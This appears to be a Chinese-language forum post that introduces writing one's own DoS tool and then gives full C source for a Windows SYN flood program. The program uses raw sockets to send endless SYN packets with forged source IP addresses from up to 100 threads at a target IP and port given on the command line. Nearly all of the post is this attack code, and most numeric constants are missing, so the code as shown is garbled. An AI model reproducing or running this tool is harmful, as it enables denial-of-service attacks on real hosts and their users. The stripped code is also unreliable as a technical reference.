DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西.
现在我们就自己编写一个DOS工具. #include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnum,maxthread,port; char *DestIP; //目标IP void display(void) // 定义状态提示函数 { static int play=; // 进度条 char *plays[]= { " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum); play=(play==)?:play+; } //定义一个tcphdr结构来存放TCP首部 typedef struct tcphdr { USHORT th_sport; //16位源端口号 USHORT th_dport; //16位目的端口号 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度+6位保留字中的4位 unsigned char th_flag; ////6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位效验和 USHORT th_urp; //16位紧急数据偏移量 }TCP_HEADER; //定义一个iphdr来存放IP首部 typedef struct iphdr //ip首部 { unsigned char h_verlen; //4位手部长度，和4位IP版本号 unsigned char tos; //8位类型服务 unsigned short total_len; //16位总长度 unsigned short ident; //16位标志 unsigned short frag_and_flags; //3位标志位（如SYN,ACK,等等) unsigned char ttl; //8位生存时间 unsigned char proto; //8位协议 unsigned short checksum; //ip手部效验和 unsigned int sourceIP; //伪造IP地址 unsigned int destIP; //攻击的ip地址 }IP_HEADER; //TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性 struct { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; //计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0) //然后计算整个IP首部的二进制反码的和。 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=; while(size >) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> )+(cksum&0xffff); cksum+=(cksum >>); return (USHORT)(~cksum); } DWORD WINAPI SynfloodThread(LPVOID lp) //synflood线程函数 { SOCKET sock =NULL; int ErrorCode=,flag=true,TimeOut=,FakeIpNet,FakeIpHost,dataSize=,SendSEQ=; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[]; sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,,WSA_FLAG_OVERLAPPED); if(sock==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return ; } //设置IP_HDRINCL以便自己填充IP首部 ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return ; } //设置发送超时 ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return ; } //设置目标地址 memset(&sockAddr,,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(DestIP); FakeIpNet=inet_addr(DestIP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ipheader.h_verlen=(<< | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = ; ipheader.frag_and_flags = ; ipheader.ttl = ; ipheader.proto = IPPROTO_TCP; ipheader.checksum =; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(DestIP); //填充TCP首部 tcpheader.th_dport=htons(port); tcpheader.th_sport = htons(); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = ; tcpheader.th_lenres =(sizeof(TCP_HEADER)/<<|); tcpheader.th_flag = ; tcpheader.th_win = htons(); tcpheader.th_urp = ; tcpheader.th_sum = ; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); for(;;) { SendSEQ=(SendSEQ==)?:SendSEQ+; ipheader.checksum =; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(SendSEQ); tcpheader.th_sum = ; PSD_HEADER.saddr=ipheader.sourceIP; //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和 memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),,); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); sendto(sock,sendBuf,dataSize,,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); display(); } Sleep(); InterlockedExchangeAdd((long *)&threadnum,-); return ; } void usage(char *name) { printf("\t===================SYN Flood======================\n"); printf("\t==========gxisone@hotmail.com 2004/7/6========\n"); printf("\tusage: %s [dest_IP] [port] [thread]\n",name); printf("\tExample: %s 192.168.1.1 80 100\n",name); } int main(int argc,char* argv[]) { if(argc!=) { usage(argv[]); return ; } usage(argv[]); int ErrorCode=; DestIP=argv[]; //取得目标主机IP port=atoi(argv[]); //取得目标端口号 maxthread=(maxthread>)?:atoi(argv[]); //如果线程数大于100则把线程数设置为100 WSADATA wsaData; if((ErrorCode=WSAStartup(MAKEWORD(,),&wsaData))!=){ printf("WSAStartup failed: %d\n",ErrorCode); return ; } printf("[start]...........\nPress any key to stop!\n"); while(threadnum<maxthread) //循环创建线程 { if(CreateThread(NULL,,SynfloodThread,,,)) { Sleep(); threadnum++; } } WSACleanup(); printf("\n[Stopd]...........\n"); return ; }